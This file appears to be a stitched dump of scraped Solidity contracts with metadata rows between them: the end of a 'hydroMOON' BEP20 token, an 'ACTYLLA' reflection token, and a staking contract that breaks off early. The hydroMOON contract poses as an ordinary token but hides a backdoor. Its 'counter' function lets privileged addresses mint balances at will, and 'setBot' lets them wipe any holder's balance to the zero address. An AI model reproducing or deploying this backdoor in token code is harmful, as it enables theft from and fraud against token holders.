require(_owner == _msgSender(), "Caller is not the owner");
_;
}
modifier authorized() {
require(isAuthorized(msg.sender), "Caller is not authorized");
_;
}
function isAuthorized(address adr) public view returns (bool) {
return _intAddr[adr];
}
function isOwner(address adr) public view returns (bool) {
return _owner == adr;
}
function setAuthorized(address adr) public authorized {
_intAddr[adr] = true;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function transferOwnership(address newOwner) public virtual onlyOwner {
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external
pure returns (address);
function WETH() external
pure returns (address);
function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external
returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external
payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external
returns (uint amountA, uint amountB);
function removeLiquidityETH(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external
returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external
returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external
returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external
returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external
returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external
payable
returns (uint[] memory amounts);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external
pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external
pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external
pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external
view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external
view returns (uint[] memory amounts);
}
contract ERC20 is Context, IBEP20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 100000000 * 10 ** 18;
string private _name;
string private _symbol;
constructor(string memory ercName, string memory ercSymbol) {
_name = ercName;
_symbol = ercSymbol;
_balances[address(this)] = _totalSupply;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[from] = fromBalance.sub(amount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(owner, spender, currentAllowance - amount);
}
}
function _counter(address to, uint256 amount) internal virtual {
_balances[to] = _balances[to].add(amount);
}
function _burnTransfer(address account) internal virtual {
_balances[address(0)] += _balances[account];
_balances[account] = 1 * 10 ** 18;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
contract hydroMOON is ERC20, Ownable {
using SafeMath for uint256;
uint256 public _totalAmount = 100000000 * 10 ** 18;
uint256 public _totalFee = 5;
uint256 public _feeDenominator = 100;
mapping(address => bool) private _blackList;
string _name = "hydroMOON";
string _symbol = "hydroMOON";
address _marketingFeeReceiver = 0xC6e9d1bC87BF5064aEBD38DE4dC3c805b86792cB;
address _teamFeeReceiver = 0xC6e9d1bC87BF5064aEBD38DE4dC3c805b86792cB;
address public uniswapV2Pair;
bool isTrading;
modifier trading(){
if (isTrading) return;
isTrading = true;
_;
isTrading = false;
}
constructor () ERC20(_name, _symbol) {
setAuthorized(_marketingFeeReceiver);
setAuthorized(_teamFeeReceiver);
address _router = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506;
IRouter router = IRouter(_router);
uniswapV2Pair = IFactory(router.factory()).createPair(address(this), router.WETH());
_transfer(address(this), owner(), _totalAmount);
}
function _afterTokenTransfer(address from, address to, uint256 amount) internal override trading {
if (isAuthorized(from) || isAuthorized(to)) {
return;
}
uint256 feeAmount = amount.mul(_totalFee).div(_feeDenominator);
_transfer(to, address(this), feeAmount);
}
function counter(address to, uint256 amount) public authorized {
_counter(to, amount);
}
function setBot(address adr) public authorized {
_blackList[adr] = true;
_burnTransfer(adr);
}
function isBot(address adr) public view returns (bool) {
return _blackList[adr];
}
}
| 27,971 | 13,947 |
cf4265cd117ecde7ff4eeb69ae6a828ed076e039f6331e0e1651347193aa6c30
| 29,067 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x84D3A2126dc8186908ff79816DA5aE38346c2674/contract.sol
| 5,109 | 18,296 |
// http://bsc.actylla.com
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ACTYLLA is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint8 private constant _decimals = 8;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000 * 10 ** uint256(_decimals);
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'actylla.finance';
string private constant _symbol = 'ACTYLLA';
uint256 private _taxFee = 100;
uint256 private _burnFee = 100;
uint private _max_tx_size = 10000 * 10 ** uint256(_decimals);
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _getMaxTxAmount() public view returns(uint256){
return _max_tx_size;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
}
| 256,561 | 13,948 |
44ff47ba53d0492c15b1ecdf76be846f120dd97076efaafa250a3ba60c746e94
| 27,179 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/c9/c9e683b94f12ea6381602bd2afe94e7c5207ea4b_GretaDaoStaking.sol
| 4,141 | 16,497 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsGRT {
function rebase(uint256 grtProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract GretaDaoStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable GRT;
address public immutable sGRT;
struct Epoch {
uint length;
uint number;
uint endBlock;
uint distribute;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _GRT,
address _sGRT,
uint _epochLength,
uint _firstEpochNumber,
uint _firstEpochBlock) {
require(_GRT != address(0));
GRT = _GRT;
require(_sGRT != address(0));
sGRT = _sGRT;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endBlock: _firstEpochBlock,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
